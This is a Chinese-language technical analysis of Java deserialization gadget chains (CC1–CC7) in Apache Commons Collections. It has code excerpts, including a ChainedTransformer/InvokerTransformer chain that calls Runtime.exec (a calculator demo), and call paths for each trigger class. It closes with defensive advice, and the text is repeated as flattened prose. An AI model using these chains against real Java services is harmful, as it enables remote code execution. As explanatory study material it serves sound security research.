java-cc链审计
字数 1470 2025-08-10 12:17:58

Java Commons Collections链审计与分析

基础概念

关键术语

  1. Sink Gadget (执行点): 恶意命令最后进入到系统执行层面的代码点
  2. Kick-off Gadget (触发点): 恶意命令进入服务的代码点,最常见的是反序列化攻击入口
  3. Chain Gadget: 命令从服务流向系统执行层面的调用链路线

背景

Apache Commons Collections是一个扩展了Java标准库Collection结构的第三方基础库,提供了强有力的数据结构类型和各种集合工具类。CC链利用的就是这个基础库中的功能。

Sink Gadget分析

1. 命令执行(CC1, CC2)

InvokerTransformer:

Transformer transformer = new InvokerTransformer("exec", 
    new Class[]{String.class}, 
    new Object[]{"open -a Calculator.app"});
transformer.transform(Runtime.getRuntime());

工作原理:

  • 参数:方法名、参数类型数组、参数值数组
  • 通过反射调用指定方法
  • 关键源码:
public Object transform(Object input) {
    Class cls = input.getClass();
    Method method = cls.getMethod(iMethodName, iParamTypes);
    return method.invoke(input, iArgs);
}

2. 字节码加载运行(CC3)

TemplatesImpl:

  • 不是直接执行命令,而是加载字节码执行恶意代码
  • 关键要求:字节码对应的类必须是com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet的子类
  • 加载流程:
for (int i = 0; i < classCount; i++) {
    _class[i] = loader.defineClass(_bytecodes[i]);
    final Class superClass = _class[i].getSuperclass();
    if (superClass.getName().equals(ABSTRACT_TRANSLET)) {
        _transletIndex = i;
    }
}

TrAXFilter:

public TrAXFilter(Templates templates) throws TransformerConfigurationException {
    _templates = templates;
    _transformer = (TransformerImpl) templates.newTransformer();
}

InstantiateTransformer:

public Object transform(Object input) {
    Constructor con = ((Class)input).getConstructor(this.iParamTypes);
    return con.newInstance(this.iArgs);
}

Chain Gadget分析

基础调用链组件

  1. ConstantTransformer:
public Object transform(Object input) {
    return iConstant; // 直接返回构造函数传入的常量
}
  1. ChainedTransformer:
public Object transform(Object object) {
    for (int i = 0; i < iTransformers.length; i++) {
        object = iTransformers[i].transform(object);
    }
    return object;
}

典型用法:

ChainedTransformer chain = new ChainedTransformer(new Transformer[]{
    new ConstantTransformer(Runtime.class),
    new InvokerTransformer("getMethod", 
        new Class[]{String.class, Class[].class}, 
        new Object[]{"getRuntime", null}),
    new InvokerTransformer("invoke", 
        new Class[]{Object.class, Object[].class}, 
        new Object[]{null, null}),
    new InvokerTransformer("exec", 
        new Class[]{String.class}, 
        new Object[]{"open -a Calculator.app"})
});

关键中间链

  1. TransformedMap (CC1):
Map transformedMap = TransformedMap.decorate(hashMap, null, chain);
  • decorate()方法设置key和value的转换器
  • 触发点:
    • put()方法会调用transformKey()transformValue()
    • checkSetValue()方法会调用value的transform
  1. LazyMap (CC1):
public Object get(Object key) {
    if (!this.map.containsKey(key)) {
        Object value = this.factory.transform(key);
        this.map.put(key, value);
        return value;
    }
}
  1. TransformingComparator (CC2, CC3):
public int compare(Object obj1, Object obj2) {
    Object value1 = this.transformer.transform(obj1);
    Object value2 = this.transformer.transform(obj2);
    return this.decorated.compare(value1, value2);
}
  1. TiedMapEntry:
  • toString()hashCode()都会调用getValue()
  • getValue()会调用map的get()方法

Kick-off Gadget分析

1. AnnotationInvocationHandler (TransformedMap, CC1)

触发流程:

AnnotationInvocationHandler.readObject()
    TransformedMap.decorate()
        ChainedTransformer.transform()
            ConstantTransformer.transform()
                InvokerTransformer.transform()

关键点:

  • 利用var5.setValue()触发checkSetValue()
  • 需要特别注意Map.Entry接口的重载实现

2. AnnotationInvocationHandler (LazyMap, CC1, CC3)

动态代理利用:

AnnotationInvocationHandler.readObject()
    Map(Proxy).entrySet()
        AnnotationInvocationHandler.invoke()
            Lazymap.get()
                ChainedTransformer.transform()

3. PriorityQueue (CC2, CC4)

触发链:

PriorityQueue.readObject()
    PriorityQueue.heapify()
        PriorityQueue.siftDown()
            PriorityQueue.siftDownUsingComparator()
                TransformingComparator.compare()
                    InvokerTransformer.transform()

关键点:

  • 需要设置comparator
  • 队列大小至少为2

4. BadAttributeValueExpException (CC5)

触发链:

BadAttributeValueExpException.readObject()
    TiedMapEntry.toString()
        LazyMap.get()
            ChainedTransformer.transform()

5. HashMap (CC6)

触发点:

HashMap.hash()
    TiedMapEntry.hashCode()
        TiedMapEntry.getValue()
            LazyMap.get()

6. HashTable (CC7)

触发链:

HashTable.readObject()
    reconstitutionPut()
        key.equals()
            TiedMapEntry.equals()
                TiedMapEntry.getValue()
                    LazyMap.get()

防御建议

  1. 升级Apache Commons Collections到安全版本
  2. 使用Java原生序列化过滤器
  3. 对反序列化操作进行严格限制
  4. 使用安全管理器限制敏感操作

总结

CC链攻击的核心在于利用Apache Commons Collections中Transformer接口的反射调用能力,通过精心构造的调用链,最终实现命令执行或代码加载。理解这些链的关键在于掌握各个组件的功能及其交互方式,特别是反射调用和动态代理的使用。

Java Commons Collections链审计与分析 基础概念 关键术语 Sink Gadget (执行点) : 恶意命令最后进入到系统执行层面的代码点 Kick-off Gadget (触发点) : 恶意命令进入服务的代码点,最常见的是反序列化攻击入口 Chain Gadget : 命令从服务流向系统执行层面的调用链路线 背景 Apache Commons Collections是一个扩展了Java标准库Collection结构的第三方基础库,提供了强有力的数据结构类型和各种集合工具类。CC链利用的就是这个基础库中的功能。 Sink Gadget分析 1. 命令执行(CC1, CC2) InvokerTransformer : 工作原理: 参数:方法名、参数类型数组、参数值数组 通过反射调用指定方法 关键源码: 2. 字节码加载运行(CC3) TemplatesImpl : 不是直接执行命令,而是加载字节码执行恶意代码 关键要求:字节码对应的类必须是 com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet 的子类 加载流程: TrAXFilter : InstantiateTransformer : Chain Gadget分析 基础调用链组件 ConstantTransformer : ChainedTransformer : 典型用法: 关键中间链 TransformedMap (CC1) : decorate() 方法设置key和value的转换器 触发点: put() 方法会调用 transformKey() 和 transformValue() checkSetValue() 方法会调用value的transform LazyMap (CC1) : TransformingComparator (CC2, CC3) : TiedMapEntry : toString() 和 hashCode() 都会调用 getValue() getValue() 会调用map的 get() 方法 Kick-off Gadget分析 1. AnnotationInvocationHandler (TransformedMap, CC1) 触发流程: 关键点: 利用 var5.setValue() 触发 checkSetValue() 需要特别注意Map.Entry接口的重载实现 2. AnnotationInvocationHandler (LazyMap, CC1, CC3) 动态代理利用: 3. PriorityQueue (CC2, CC4) 触发链: 关键点: 需要设置comparator 队列大小至少为2 4. BadAttributeValueExpException (CC5) 触发链: 5. HashMap (CC6) 触发点: 6. HashTable (CC7) 触发链: 防御建议 升级Apache Commons Collections到安全版本 使用Java原生序列化过滤器 对反序列化操作进行严格限制 使用安全管理器限制敏感操作 总结 CC链攻击的核心在于利用Apache Commons Collections中Transformer接口的反射调用能力,通过精心构造的调用链,最终实现命令执行或代码加载。理解这些链的关键在于掌握各个组件的功能及其交互方式,特别是反射调用和动态代理的使用。